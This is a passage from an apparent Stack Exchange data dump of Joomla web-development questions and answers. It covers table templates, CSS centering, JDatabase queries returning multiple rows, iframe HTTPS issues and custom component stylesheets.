modifying the respective css values for &lt;em&gt;ul .sessions li:nth-child(x).css('background','red');&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code for my current table display, in case it is helpful:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;table class=&quot;table table-striped&quot; id=&quot;sessionList&quot;&amp;gt;&#xA;        &amp;lt;thead&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;?php if (isset($this-&amp;gt;items[0]-&amp;gt;state)): ?&amp;gt;&#xA;                &amp;lt;th width=&quot;5%&quot;&amp;gt;&#xA;    &amp;lt;?php echo JHtml::_('grid.sort', 'JPUBLISHED', 'a.state', $listDirn, $listOrder); ?&amp;gt;&#xA;&amp;lt;/th&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                            &amp;lt;th class=''&amp;gt;&#xA;                &amp;lt;?php echo JHtml::_('grid.sort',  'COM_MERAKIAC_SESSIONS_ID', 'a.id', $listDirn, $listOrder); ?&amp;gt;&#xA;                &amp;lt;/th&amp;gt;&#xA;                &amp;lt;th class=''&amp;gt;&#xA;                &amp;lt;?php echo JHtml::_('grid.sort',  'COM_MERAKIAC_SESSIONS_DATE', 'a.date', $listDirn, $listOrder); ?&amp;gt;&#xA;                &amp;lt;/th&amp;gt;&#xA;                &amp;lt;th class=''&amp;gt;&#xA;                &amp;lt;?php echo JHtml::_('grid.sort',  'COM_MERAKIAC_SESSIONS_TIME', 'a.time', $listDirn, $listOrder); ?&amp;gt;&#xA;                &amp;lt;/th&amp;gt;&#xA;                &amp;lt;th class=''&amp;gt;&#xA;                &amp;lt;?php echo JHtml::_('grid.sort',  'COM_MERAKIAC_SESSIONS_TITLE', 'a.title', $listDirn, $listOrder); ?&amp;gt;&#xA;                &amp;lt;/th&amp;gt;&#xA;                &amp;lt;th class=''&amp;gt;&#xA;                &amp;lt;?php echo JHtml::_('grid.sort',  'COM_MERAKIAC_SESSIONS_TEACHER', 'a.teacher', $listDirn, $listOrder); ?&amp;gt;&#xA;                &amp;lt;/th&amp;gt;&#xA;                &amp;lt;th class=''&amp;gt;&#xA;                &amp;lt;?php echo JHtml::_('grid.sort',  'COM_MERAKIAC_SESSIONS_LVL', 'a.lvl', $listDirn, $listOrder); ?&amp;gt;&#xA;                &amp;lt;/th&amp;gt;&#xA;                &amp;lt;th class=''&amp;gt;&#xA;                &amp;lt;?php echo JHtml::_('grid.sort',  'COM_MERAKIAC_SESSIONS_NOTES', 'a.notes', $listDirn, $listOrder); ?&amp;gt;&#xA;                &amp;lt;/th&amp;gt;&#xA;                &amp;lt;th class=''&amp;gt;&#xA;                &amp;lt;?php echo JHtml::_('grid.sort',  'COM_MERAKIAC_SESSIONS_JR', 'a.jr', $listDirn, $listOrder); ?&amp;gt;&#xA;                &amp;lt;/th&amp;gt;&#xA;                &amp;lt;th class=''&amp;gt;&#xA;                &amp;lt;?php echo JHtml::_('grid.sort',  'COM_MERAKIAC_SESSIONS_CAP', 'a.cap', $listDirn, $listOrder); ?&amp;gt;&#xA;                &amp;lt;/th&amp;gt;&#xA;                &amp;lt;th class=''&amp;gt;&#xA;                &amp;lt;?php echo JHtml::_('grid.sort',  'COM_MERAKIAC_SESSIONS_ATT', 'a.att', $listDirn, $listOrder); ?&amp;gt;&#xA;                &amp;lt;/th&amp;gt;&#xA;                &amp;lt;th class=''&amp;gt;&#xA;                &amp;lt;?php echo JHtml::_('grid.sort',  'COM_MERAKIAC_SESSIONS_SID', 'a.sid', $listDirn, $listOrder); ?&amp;gt;&#xA;                &amp;lt;/th&amp;gt;&#xA;&#xA;&#xA;                            &amp;lt;?php if ($canEdit || $canDelete): ?&amp;gt;&#xA;                    &amp;lt;th class=&quot;center&quot;&amp;gt;&#xA;                &amp;lt;?php echo JText::_('COM_MERAKIAC_SESSIONS_ACTIONS'); ?&amp;gt;&#xA;                &amp;lt;/th&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;        &amp;lt;/tr&amp;gt;&#xA;        &amp;lt;/thead&amp;gt;&#xA;        &amp;lt;tfoot&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;td colspan=&quot;&amp;lt;?php echo isset($this-&amp;gt;items[0]) ? count(get_object_vars($this-&amp;gt;items[0])) : 10; ?&amp;gt;&quot;&amp;gt;&#xA;                &amp;lt;?php echo $this-&amp;gt;pagination-&amp;gt;getListFooter(); ?&amp;gt;&#xA;            &amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;        &amp;lt;/tfoot&amp;gt;&#xA;        &amp;lt;tbody&amp;gt;&#xA;        &amp;lt;?php foreach ($this-&amp;gt;items as $i =&amp;gt; $item) : ?&amp;gt;&#xA;            &amp;lt;?php $canEdit = $user-&amp;gt;authorise('core.edit', 'com_merakiac'); ?&amp;gt;&#xA;&#xA;                            &amp;lt;?php if (!$canEdit &amp;amp;&amp;amp; $user-&amp;gt;authorise('core.edit.own', 'com_merakiac')): ?&amp;gt;&#xA;                    &amp;lt;?php $canEdit = JFactory::getUser()-&amp;gt;id == $item-&amp;gt;created_by; ?&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;            &amp;lt;tr class=&quot;row&amp;lt;?php echo $i % 2; ?&amp;gt;&quot;&amp;gt;&#xA;&#xA;                &amp;lt;?php if (isset($this-&amp;gt;items[0]-&amp;gt;state)) : ?&amp;gt;&#xA;                    &amp;lt;?php $class = ($canChange) ? 'active' : 'disabled'; ?&amp;gt;&#xA;                    &amp;lt;td class=&quot;center&quot;&amp;gt;&#xA;    &amp;lt;a class=&quot;btn btn-micro &amp;lt;?php echo $class; ?&amp;gt;&quot; href=&quot;&amp;lt;?php echo ($canChange) ? JRoute::_('index.php?option=com_merakiac&amp;amp;task=session.publish&amp;amp;id=' . $item-&amp;gt;id . '&amp;amp;state=' . (($item-&amp;gt;state + 1) % 2), false, 2) : '#'; ?&amp;gt;&quot;&amp;gt;&#xA;    &amp;lt;?php if ($item-&amp;gt;state == 1): ?&amp;gt;&#xA;        &amp;lt;i class=&quot;icon-publish&quot;&amp;gt;&amp;lt;/i&amp;gt;&#xA;    &amp;lt;?php else: ?&amp;gt;&#xA;        &amp;lt;i class=&quot;icon-unpublish&quot;&amp;gt;&amp;lt;/i&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;/a&amp;gt;&#xA;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                                &amp;lt;td&amp;gt;&#xA;&#xA;                    &amp;lt;?php echo $item-&amp;gt;id; ?&amp;gt;&#xA;                &amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;&#xA;&#xA;                    &amp;lt;?php echo $item-&amp;gt;date; ?&amp;gt;&#xA;                &amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;&#xA;                &amp;lt;?php if (isset($item-&amp;gt;checked_out) &amp;amp;&amp;amp; $item-&amp;gt;checked_out) : ?&amp;gt;&#xA;                    &amp;lt;?php echo JHtml::_('jgrid.checkedout', $i, $item-&amp;gt;uEditor, $item-&amp;gt;checked_out_time, 'sessions.', $canCheckin); ?&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;                &amp;lt;a href=&quot;&amp;lt;?php echo JRoute::_('index.php?option=com_merakiac&amp;amp;view=session&amp;amp;id='.(int) $item-&amp;gt;id); ?&amp;gt;&quot;&amp;gt;&#xA;                &amp;lt;?php echo $this-&amp;gt;escape($item-&amp;gt;time); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                &amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;&#xA;&#xA;                    &amp;lt;?php echo $item-&amp;gt;title; ?&amp;gt;&#xA;                &amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;&#xA;&#xA;                    &amp;lt;?php echo $item-&amp;gt;teacher; ?&amp;gt;&#xA;                &amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;&#xA;&#xA;                    &amp;lt;?php echo $item-&amp;gt;lvl; ?&amp;gt;&#xA;                &amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;&#xA;&#xA;                    &amp;lt;?php echo $item-&amp;gt;notes; ?&amp;gt;&#xA;                &amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;&#xA;&#xA;                    &amp;lt;?php echo $item-&amp;gt;jr; ?&amp;gt;&#xA;                &amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;&#xA;&#xA;                    &amp;lt;?php echo $item-&amp;gt;cap; ?&amp;gt;&#xA;                &amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;&#xA;&#xA;                    &amp;lt;?php echo $item-&amp;gt;att; ?&amp;gt;&#xA;                &amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;&#xA;&#xA;                    &amp;lt;?php echo $item-&amp;gt;sid; ?&amp;gt;&#xA;                &amp;lt;/td&amp;gt;&#xA;&#xA;&#xA;                                &amp;lt;?php if ($canEdit || $canDelete): ?&amp;gt;&#xA;                    &amp;lt;td class=&quot;center&quot;&amp;gt;&#xA;                        &amp;lt;?php if ($canEdit): ?&amp;gt;&#xA;                            &amp;lt;a href=&quot;&amp;lt;?php echo JRoute::_('index.php?option=com_merakiac&amp;amp;task=sessionform.edit&amp;amp;id=' . $item-&amp;gt;id, false, 2); ?&amp;gt;&quot; class=&quot;btn btn-mini&quot; type=&quot;button&quot;&amp;gt;&amp;lt;i class=&quot;icon-edit&quot; &amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&#xA;                        &amp;lt;?php endif; ?&amp;gt;&#xA;                        &amp;lt;?php if ($canDelete): ?&amp;gt;&#xA;                            &amp;lt;a href=&quot;&amp;lt;?php echo JRoute::_('index.php?option=com_merakiac&amp;amp;task=sessionform.remove&amp;amp;id=' . $item-&amp;gt;id, false, 2); ?&amp;gt;&quot; class=&quot;btn btn-mini delete-button&quot; type=&quot;button&quot;&amp;gt;&amp;lt;i class=&quot;icon-trash&quot; &amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&#xA;                        &amp;lt;?php endif; ?&amp;gt;&#xA;                    &amp;lt;/td&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;            &amp;lt;/tr&amp;gt;&#xA;        &amp;lt;?php endforeach; ?&amp;gt;&#xA;        &amp;lt;/tbody&amp;gt;&#xA;    &amp;lt;/table&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any insight is appreciated. Thank you!&lt;/p&gt;&#xA;" OwnerUserId="10936" LastActivityDate="2017-05-11T21:20:19.203" Title="custom table display - help turning static html to dynamic php" Tags="|component|javascript|jquery|database|custom-component|" AnswerCount="1" CommentCount="8" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20742" PostTypeId="2" ParentId="19528" CreationDate="2017-05-09T09:31:40.897" Score="-1" Body="&lt;p&gt;Praneeth ! Try to open 'yoursite'/libraries/cms/html/behavior.php and find line 833:  $document-&gt;addStyleDeclaration('html { display:none }'); &lt;/p&gt;&#xA;&#xA;&lt;p&gt;perhaps it is not your friend in your case&#xA; 1. just MAKE COMMENTS on this line /*... &#xA;    as php rules demand&#xA; 2. save changes.&lt;/p&gt;&#xA;" OwnerUserId="11018" LastActivityDate="2017-05-09T09:31:40.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20744" PostTypeId="2" ParentId="9335" CreationDate="2017-05-09T16:22:24.997" Score="0" Body="&lt;p&gt;Ensure that the plugins/System-Page Cache is enabled. We had similar issues recently on 2.5 and 3.0 sites migrated to a VPS. The cache actually slowed them on the old server but on the new VPS they were far more responsive when enabled. JCH cache plugin is also pretty effective.&lt;/p&gt;&#xA;" OwnerUserId="3546" LastActivityDate="2017-05-09T16:22:24.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20745" PostTypeId="2" ParentId="9902" CreationDate="2017-05-10T05:58:26.043" Score="1" Body="&lt;p&gt;In your template index.php file where you show up the module change this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (JRequest::getVar( 'view' ) != 'article') : ?&amp;gt;&#xA;    &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;module-position&quot; style=&quot;any-style&quot; /&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6959" LastActivityDate="2017-05-10T05:58:26.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20746" PostTypeId="1" CreationDate="2017-05-10T08:49:40.067" Score="0" ViewCount="158" Body="&lt;p&gt;I am trying to load an osCommerce installation within a Joomla iframe.  I can get the front page to load but then if I click on anything within the iframe it is unresponsive.  I can run the osCommerce session directly and it works fine.  Both Joomla and osCommerce are using a shared SSL.  You can see the joomla site at www.lloydsyachtclub.xyz and the oscommerce site at www.lloydsyachtclub.xyz/merchandise. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm pretty sure it must be something to do with the settings around https - but have exhausted changing every variable in both packages.  Any suggestions??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="11049" LastActivityDate="2017-08-08T19:41:26.783" Title="Iframe loads front page but content is then unresposnive" Tags="|configuration|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20747" PostTypeId="1" AcceptedAnswerId="20749" CreationDate="2017-05-10T10:30:06.860" Score="1" ViewCount="347" Body="&lt;p&gt;I want to show up to 3 images that are assigned to the logged in user in a database table. I have written the following MySQL query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $db = JFactory::getDBO();&#xA;    //GET GALLEERY IMAGES&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;    $query-&amp;gt;select('*');&#xA;    $query-&amp;gt;from('#__mcloud_mgallery');&#xA;    $query-&amp;gt;where('model_id = '.$userid);&#xA;    $query-&amp;gt;order('id');&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $rows = $db-&amp;gt;loadObject();&#xA;&#xA;    $gallery_img = $rows-&amp;gt;file;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I echo &lt;code&gt;$gallery_img&lt;/code&gt; this outputs only one of the images, if I look in the database table (for the logged in user) there are 3 images assigned to that user:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;id      file                    model_id&#xA;&#xA;389     10_burgers_food.jpeg    941&#xA;390     14_bridge.jpeg          941&#xA;391     test_imag.jpeg          941&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I show the 3 images if there's only 1 variable &lt;code&gt;$gallery_img&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="294" LastEditorUserId="12352" LastEditDate="2019-08-26T23:46:54.837" LastActivityDate="2019-08-26T23:46:54.837" Title="MySQL SELECT query with LIMIT to show a maximum of 3 images" Tags="|php|mysql|jdatabase|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20748" PostTypeId="1" CreationDate="2017-05-10T10:32:20.680" Score="-3" ViewCount="87" Body="&lt;p&gt;How to aling to center JO K2 Slideshow of my web site? &#xA;&lt;a href=&quot;http://www.enpi-medscapes.org/index.php/en/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.enpi-medscapes.org/index.php/en/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="45" LastActivityDate="2017-05-11T14:19:35.260" Title="Align to center JO K2 Slideshow" Tags="|joomla-3.x|k2|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20749" PostTypeId="2" ParentId="20747" CreationDate="2017-05-10T10:49:39.477" Score="4" Body="&lt;p&gt;Problem being is you're using &lt;code&gt;loadObject()&lt;/code&gt; which will only ever return 1 result. If you want multiple, you'll need to use &lt;code&gt;loadObjectList()&lt;/code&gt;, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select('*')&#xA;      -&amp;gt;from($db-&amp;gt;qn('#__mcloud_mgallery'))&#xA;      -&amp;gt;where($db-&amp;gt;qn('model_id') . ' = ' . $userid)&#xA;      -&amp;gt;order('id');&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;$rows = $db-&amp;gt;loadObjectList();&#xA;&#xA;foreach ($rows as $row)&#xA;{&#xA;    echo '&amp;lt;p&amp;gt;' . $row-&amp;gt;file . '&amp;lt;/p&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just incase there will ever be more than 3 images in the database, you can also limit the results in the query to 3, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;select('*')&#xA;      -&amp;gt;from($db-&amp;gt;qn('#__mcloud_mgallery'))&#xA;      -&amp;gt;where($db-&amp;gt;qn('model_id') . ' = ' . $userid)&#xA;      -&amp;gt;order('id')&#xA;      -&amp;gt;setLimit('3'); // &amp;lt;-- Here&#xA;$db-&amp;gt;setQuery($query);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2017-05-10T11:04:35.353" LastActivityDate="2017-05-10T11:04:35.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20750" PostTypeId="2" ParentId="20748" CreationDate="2017-05-10T10:52:02.233" Score="1" Body="&lt;p&gt;Not sure what template you're using, but a CSS solution would be as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.jo-k2-slidecontent {&#xA;    margin: 0 auto;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2017-05-10T10:52:02.233" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20752" PostTypeId="1" CreationDate="2017-05-10T13:27:32.560" Score="1" ViewCount="580" Body="&lt;p&gt;I'm trying to load a component custom css file, placed in the frontend media folder in the media/mycomponent/css folder, to load into the backend after the backend template.css file (Isis) is loaded (in the head tag of every page). Is this possible? I've tried some options but so far no success.&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2017-08-07T09:34:23.803" Title="Load a custom css file from a component into the head tag after the backend template css file" Tags="|css|custom-component|" AnswerCount="2" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20753" PostTypeId="2" ParentId="20746" CreationDate="2017-05-10T18:18:19.490" Score="1" Body="&lt;p&gt;What seems to be happening is that your links on the osCommerce site are a mix of secure and insecure pages.   When loading it via a https page, an iframe sandbox prevents the insecure links from working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I was able to replicate your problem on a desktop PC, the links to checkout still work, as these are https.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not familiar with osCommerce, but I'd imagine there is a configuration setting to force all links to be https, and hopefully that should solve it.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastEditorUserId="1622" LastEditDate="2017-05-10T18:28:58.987" LastActivityDate="2017-05-10T18:28:58.987" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20754" PostTypeId="2" ParentId="20752" CreationDate="2017-05-10T18:54:43.187" Score="1" Body="&lt;p&gt;In the view of your component just add the CSS declaration as you normally would on the front end. Should work with no issues.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getDocument()-&amp;gt;addStyleSheet(JPATH_SITE . '/media/mycomponent/css/STYLE.css');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should pull from the front end. You may be able to substitue JPATH_ROOT as well.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastEditorUserId="168" LastEditDate="2017-05-10T23:24:27.663" LastActivityDate="2017-05-10T23:24:27.663" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20755" PostTypeId="2" ParentId="19344" CreationDate="2017-05-10T19:25:39.383" Score="0" Body="&lt;p&gt;There are at least 2 ways to do it and each one requires an experienced programmer:&lt;/p&gt;&#xA;&lt;h3&gt;Creating custom router&lt;/h3&gt;&#xA;&lt;p&gt;If you are using a custom component you can extend the &lt;code&gt;Router&lt;/code&gt; and set this component view as a homepage (that way its component router will became a default router for the website). Here you can find a proper explanation how to do it the right way.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Supporting_SEF_URLs_in_your_component&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Supporting_SEF_URLs_in_your_component&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3&gt;Creating custom System plugin&lt;/h3&gt;&#xA;&lt;p&gt;You can also try to create a proper System plugin and hook into &lt;code&gt;onAfterInitialise&lt;/code&gt; and work on redirections or maybe the Application router.&lt;/p&gt;&#xA;" OwnerUserId="3368" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-05-10T19:25:39.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20756" PostTypeId="2" ParentId="12307" CreationDate="2017-05-11T08:53:26.423" Score="1" Body="&lt;p&gt;First of all this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(!empty($this-&amp;gt;dateofbirth))  // Prepare DOB to be saved in database&#xA;{&#xA;    // Set this to a format the sql-table is able to save&#xA;    $date = JFactory::getDate($this-&amp;gt;dateofbirth);          &#xA;    $this-&amp;gt;dateofbirth = $date-&amp;gt;toSql(); &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Should be in &lt;code&gt;check()&lt;/code&gt; method. Then use this after &lt;code&gt;parent::store($updateNulls = false)&lt;/code&gt; in your &lt;code&gt;store&lt;/code&gt; method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var_dump($this-&amp;gt;_db-&amp;gt;getErrorMsg());die;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to check what is causing the error. Alternatively you can use exceptions to catch the error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;try {&#xA;    $result = parent::store($updateNulls);&#xA;} catch(Exception $e) {&#xA;    die($e-&amp;gt;getMessage());&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3368" LastActivityDate="2017-05-11T08:53:26.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20757" PostTypeId="2" ParentId="19464" CreationDate="2017-05-11T09:44:23.727" Score="1" Body="&lt;h3&gt;Table&lt;/h3&gt;&#xA;&lt;p&gt;You can modify a Table object (usualy in &lt;code&gt;/administrator/com_yourcomponent/tables/property.php&lt;/code&gt;) of this Property to set the &lt;code&gt;is_sold&lt;/code&gt; property in &lt;code&gt;load&lt;/code&gt; method right after &lt;code&gt;parent::load()&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;h3&gt;Model&lt;/h3&gt;&#xA;&lt;p&gt;Other way is to modify the model (&lt;code&gt;/components/com_yourcomponent/models/property.php&lt;/code&gt;). You modify method &lt;code&gt;getItem()&lt;/code&gt; by adding a proper checking code after &lt;code&gt;parent::getItem()&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;h3&gt;View&lt;/h3&gt;&#xA;&lt;p&gt;You can also do it in your &lt;code&gt;view.html.php&lt;/code&gt; but without a full code its hard to give you a straight answer why what you wrote doesn't work. One tip, if you want to check if item was sold its better to check if date was set like this &lt;code&gt;!empty($this-&amp;gt;property-&amp;gt;date_sold)&lt;/code&gt; or by checking if this is not a zero date.&lt;/p&gt;&#xA;" OwnerUserId="3368" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2018-01-06T20:30:56.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20758" PostTypeId="2" ParentId="19354" CreationDate="2017-05-11T09:56:25.407" Score="2" Body="&lt;p&gt;You need to override Joomla! template.&lt;/p&gt;&#xA;Here are some details about overriding Joomla! template:&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&lt;/a&gt;&lt;/p&gt;&#xA;You can also check basics about creating Joomla! templates:&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Creating_a_basic_Joomla!_template&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Creating_a_basic_Joomla!_template&lt;/a&gt;&lt;/p&gt;&#xA;And here is a complete section about Joomla templates:&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Portal:Template_Development&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Portal:Template_Development&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3368" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-05-11T09:56:25.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20759" PostTypeId="2" ParentId="19341" CreationDate="2017-05-11T10:13:33.017" Score="1" Body="&lt;p&gt;You gonna have many problems with that. First of all almost all extensions run on MySQL and they are not prepared for MSSQL. Other thing is that Joomla! MySQL database is a bit complicated and can break after converting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try it like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create a copy of your website files on other account, on that one we'll do the test&lt;/li&gt;&#xA;&lt;li&gt;Export website database from phpMyAdmin using a capability mode to MSSQL&lt;/li&gt;&#xA;&lt;li&gt;Import the database into your MSSQL server and create proper credentials&lt;/li&gt;&#xA;&lt;li&gt;Change db driver to mssql and credentials in &lt;code&gt;configuration.php&lt;/code&gt; to your new credentials&lt;/li&gt;&#xA;&lt;li&gt;Enable system debug and pray&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3368" LastActivityDate="2017-05-11T10:13:33.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20763" PostTypeId="2" ParentId="20748" CreationDate="2017-05-11T14:19:35.260" Score="1" Body="&lt;p&gt;In your &lt;code&gt;custom.css&lt;/code&gt; you have this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.jo-k2-slidecontent {&#xA;    border: 1px solid #cccccc&#xA;    margin-left: auto;&#xA;    margin-right: auto;&#xA;    overflow: hidden;&#xA;    padding: 1px;&#xA;    position: relative;&#xA;    width: 100%;&#xA;}&#xA;&#xA;.jo-k2-slidecontent {&#xA;    margin-left: 450px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Actually, you have to remove the second rule with the left margin, and fix an issue you have on the first rule, where you don't have the semicolon &lt;code&gt;;&lt;/code&gt; after the &lt;code&gt;border: 1px solid #cccccc&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So your &lt;code&gt;custom.css&lt;/code&gt; should end up like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.jo-k2-slidecontent {&#xA;    border: 1px solid #cccccc;&#xA;    margin-left: auto;&#xA;    margin-right: auto;&#xA;    overflow: hidden;&#xA;    padding: 1px;&#xA;    position: relative;&#xA;    width: 100%;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-05-11T14:19:35.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20764" PostTypeId="1" CreationDate="2017-05-11T15:19:49.207" Score="0" ViewCount="2225" Body="&lt;p&gt;Currently I am on my local server and the URL I want to create is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://localhost/cax2017/images/flexicontent/l_thecaxton.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://localhost/cax2017/images/flexicontent/l_thecaxton.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;/cax2017/images/flexicontent/l_thecaxton.jpg&lt;/strong&gt; is created by: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;FlexicontentFields::getFieldDisplay($item, 'image', null, 'display_large_src', 'item');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$url = JURI::base().FlexicontentFields::getFieldDisplay($item, 'image', null, 'display_large_src', 'item');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It fails as I get double &lt;strong&gt;/cax2017/cax2017/&lt;/strong&gt;: &lt;a href=&quot;http://localhost/cax2017/cax2017/images/flexicontent/l_thecaxton.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://localhost/cax2017/cax2017/images/flexicontent/l_thecaxton.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for a 